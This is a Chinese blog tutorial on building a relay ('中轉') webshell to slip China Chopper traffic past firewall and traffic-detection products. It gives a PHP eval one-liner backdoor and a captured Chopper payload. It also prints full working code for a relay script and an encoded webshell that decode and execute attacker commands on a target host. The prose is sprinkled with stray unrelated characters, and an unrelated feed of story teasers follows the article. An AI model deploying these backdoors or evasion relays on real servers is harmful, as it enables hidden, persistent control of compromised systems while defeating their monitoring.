中轉(zhuǎn)Webshell繞過流量檢測防護

->_<-

0x00 前言

前一陣子心情不太好距糖,本來已經(jīng)不打算寫東西了,但想到自己在學習的時候摸爬滾打牵寺,吃盡了苦頭悍引,現(xiàn)在雖小有成就,但仍有很多同行道友在這條道路上不斷摸索帽氓,思索再三趣斤,還是打算繼續(xù)寫下去,算是為迷茫中的人點亮一盞微弱的燈……So黎休,這篇文章寫詳細一些浓领,就當找個愿意聽的人說話了

老規(guī)矩,以PHP為例做講解

0x01 原理

這里先給大家介紹一句話木馬和菜刀的工作原理奋渔,了解的可以往下面翻

一句話木馬

先說說一句話木馬的原理

<?php eval($_POST['c']);?>

先說說eval()這個函數(shù)
簡單點說镊逝,eval()這個函數(shù)會把參數(shù)當作代碼來執(zhí)行
什么叫做把參數(shù)當作代碼來執(zhí)行壮啊,簡單舉個例子

<?php  phpinfo();?>

phpinfo()函數(shù)都明白吧嫉鲸,不明白也沒關系,它執(zhí)行結(jié)果是這樣的

phpinfo()
<?php eval('phpinfo();');?>

當把phpinfo()函數(shù)作為字符串傳遞給eval()函數(shù)時歹啼,效果就相當于剛才的代碼


eval('phpinfo()')

關于eval()函數(shù)就介紹到此玄渗,如果還有不明白的自己翻翻資料座菠,或者私信我

下面再說我們剛才寫的那個一句話木馬,現(xiàn)在理解起來就容易多了藤树,它會把POST傳遞過來的參數(shù)c的內(nèi)容作為PHP代碼執(zhí)行浴滴,具體執(zhí)行的內(nèi)容由POST參數(shù)決定,比如執(zhí)行系統(tǒng)命令

POST
c=system('whoami');
whoami

這樣只需要不斷改變POST過來的數(shù)據(jù)岁钓,就可以實現(xiàn)任意功能

這就是一句話木馬的原理

菜刀

理解了一句話木馬的原理后升略,菜刀的原理就更簡單了
菜刀其實就是根據(jù)一句話木馬的原理,將常用的一些操作的代碼封裝好屡限,再結(jié)合圖像界面(GUI)品嚣,實現(xiàn)當你雙擊文件夾時便可列出目錄
為了方便理解這里用wireshark抓個數(shù)據(jù)包


wireshark
POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D

感興趣的可以將發(fā)送的數(shù)據(jù)代碼自己分析分析,這里就不具體講了

0x02 中轉(zhuǎn)webshell

先扯點歷史

接著剛才菜刀原理說钧大,既然已知了菜刀是將封裝好的參數(shù)根據(jù)用戶操作發(fā)送給webshell翰撑,那么站在防護的角度來講,我可以將主流的菜刀參數(shù)都設為黑名單啊央,發(fā)現(xiàn)就攔截眶诈,甚至我可以對你發(fā)送的數(shù)據(jù)內(nèi)容進行簡單的自動審計,發(fā)現(xiàn)敏感的代碼直接攔截掉

這個就是早期的一些防護軟件的攔截手段

于是瓜饥,就有了一幫逆向大牛對菜刀進行逆向逝撬,將封裝好的參數(shù)進行混淆,或者對防護軟件進行fuzz压固,然后找到不攔截的參數(shù)去替換球拦,這樣就能實現(xiàn)一個“過狗”的效果

但是更有一群人渾水摸魚,在外發(fā)放了很多捆有后門的菜刀坐收漁翁之利帐我,而且隨著防護軟件越來越完善坎炼,找到一些能夠替換的函數(shù)代價太大,于是就有了中轉(zhuǎn)webshell(主要還是因為不會逆向……因為懶……)

中轉(zhuǎn)webshell的邏輯很簡單拦键,菜刀不直接向shell發(fā)送數(shù)據(jù)谣光,而是發(fā)送到中轉(zhuǎn)的一個頁面上,這個頁面對接收的參數(shù)全部進行加密(甚至可以用2048位的RSA芬为,只要你愿意)萄金,然后再發(fā)送給shell,shell接收后先用同樣的算法進行解密媚朦,然后對執(zhí)行的結(jié)果進行加密氧敢,返回給中轉(zhuǎn)shell,中轉(zhuǎn)shell再去解密询张,然后返回給菜刀客戶端

這樣就能實現(xiàn)自定義加密算法對菜刀的數(shù)據(jù)進行加密來繞過一些防護設備孙乖,話不多說,上圖


中轉(zhuǎn)webshell

理解了原理就可以開始造輪子了

0x03 造輪子

中轉(zhuǎn)shell
<?php
    set_time_limit(0);
    $url = 'http://192.168.157.142:81/shell.php';  //真實shell地址
    $opt_data = http_build_query($_POST);

    $content = postdata($url,encode($opt_data));

    $content = decode($content);

    echo $content;

    function encode($data){
        return base64_encode(base64_encode($data));
    }

    function decode($data){
        return base64_decode(base64_decode($data));
    }
    
    function postdata($url,$data){
        $curl = curl_init();  //初始化
        curl_setopt($curl,CURLOPT_URL,$url);  //設置url
        curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC);  //設置http驗證方法
        curl_setopt($curl,CURLOPT_HEADER,0);  //設置頭信息
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);  //設置curl_exec獲取的信息的返回方式
        curl_setopt($curl,CURLOPT_POST,1);  //設置發(fā)送方式為post請求
        curl_setopt($curl,CURLOPT_POSTFIELDS,$data);  //設置post的數(shù)據(jù)
        
        $result = curl_exec($curl);
        if($result === false){
            echo 'Request False!';
            echo curl_errno($curl);
            exit();
        }
        curl_close($curl);
        return $result;
    }
?>
webshell
<?php
    function callback($buffer){
        return (encode($buffer));
    }

    ob_start("callback");

    parse_str(decode(file_get_contents('php://input')),$_POST);

    eval($_POST['c']);

    function encode($data){ //加密算法
        return base64_encode(base64_encode($data));
    }

    function decode($data){ //解密算法
        return base64_decode(base64_decode($data));
    }

    ob_end_flush();
?>

效果如下:
1.菜刀連接中轉(zhuǎn)shell


image.png

2.中轉(zhuǎn)shell修改真實shell的url


image.png

3.通過菜刀執(zhí)行系統(tǒng)命令查看ip
image.png

可以看到我們打開的是192.168.157.128的會話,但實際操作的確是我們的目標靶機192.168.157.142

至此結(jié)束

0xFF 尾言

身邊每個人都要去珍惜唯袄,不要等到失去才后悔莫急
——魯迅

最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末弯屈,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子恋拷,更是在濱河造成了極大的恐慌资厉,老刑警劉巖,帶你破解...
    沈念sama閱讀 207,248評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件蔬顾,死亡現(xiàn)場離奇詭異宴偿,居然都是意外死亡,警方通過查閱死者的電腦和手機诀豁,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,681評論 2 381
  • 文/潘曉璐 我一進店門酪我,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人且叁,你說我怎么就攤上這事都哭。” “怎么了逞带?”我有些...
    開封第一講書人閱讀 153,443評論 0 344
  • 文/不壞的土叔 我叫張陵欺矫,是天一觀的道長。 經(jīng)常有香客問我展氓,道長穆趴,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,475評論 1 279
  • 正文 為了忘掉前任遇汞,我火速辦了婚禮未妹,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘空入。我一直安慰自己络它,他們只是感情好,可當我...
    茶點故事閱讀 64,458評論 5 374
  • 文/花漫 我一把揭開白布歪赢。 她就那樣靜靜地躺著化戳,像睡著了一般。 火紅的嫁衣襯著肌膚如雪埋凯。 梳的紋絲不亂的頭發(fā)上点楼,一...
    開封第一講書人閱讀 49,185評論 1 284
  • 那天,我揣著相機與錄音白对,去河邊找鬼掠廓。 笑死,一個胖子當著我的面吹牛甩恼,可吹牛的內(nèi)容都是我干的蟀瞧。 我是一名探鬼主播狰域,決...
    沈念sama閱讀 38,451評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼黄橘!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起屈溉,我...
    開封第一講書人閱讀 37,112評論 0 261
  • 序言:老撾萬榮一對情侶失蹤塞关,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后子巾,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體帆赢,經(jīng)...
    沈念sama閱讀 43,609評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,083評論 2 325
  • 正文 我和宋清朗相戀三年线梗,在試婚紗的時候發(fā)現(xiàn)自己被綠了椰于。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,163評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡仪搔,死狀恐怖瘾婿,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情烤咧,我是刑警寧澤偏陪,帶...
    沈念sama閱讀 33,803評論 4 323
  • 正文 年R本政府宣布,位于F島的核電站煮嫌,受9級特大地震影響笛谦,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜昌阿,卻給世界環(huán)境...
    茶點故事閱讀 39,357評論 3 307
  • 文/蒙蒙 一饥脑、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧懦冰,春花似錦灶轰、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,357評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至闯捎,卻和暖如春椰弊,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背瓤鼻。 一陣腳步聲響...
    開封第一講書人閱讀 31,590評論 1 261
  • 我被黑心中介騙來泰國打工秉版, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人茬祷。 一個月前我還...
    沈念sama閱讀 45,636評論 2 355
  • 正文 我出身青樓清焕,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子秸妥,可洞房花燭夜當晚...
    茶點故事閱讀 42,925評論 2 344

推薦閱讀更多精彩內(nèi)容

  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell實現(xiàn)與隱藏探究 一...
    JackyTsuuuy閱讀 20,707評論 2 13
  • 一套實用的滲透測試崗位面試題滚停,你會嗎? 1.拿到一個待檢測的站粥惧,你覺得應該先做什么键畴? 收集信息 whois、網(wǎng)站源...
    g0閱讀 4,812評論 0 9
  • 官網(wǎng) 中文版本 好的網(wǎng)站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,367評論 0 5
  • 在滲透測試的后期突雪,為了維持權限起惕。我們通常都會選擇使用大小馬或者通過添加賬戶等各種各樣的方式給自己留個后門。但是事情...
    自我陶醉閱讀 5,168評論 0 3
  • 一咏删、升級步驟 1惹想、升級工具包 2、生成一個與原來工程一樣名字的工程 3督函、將iOS和Android原生工程先進行手動...
    peaktan閱讀 5,952評論 6 6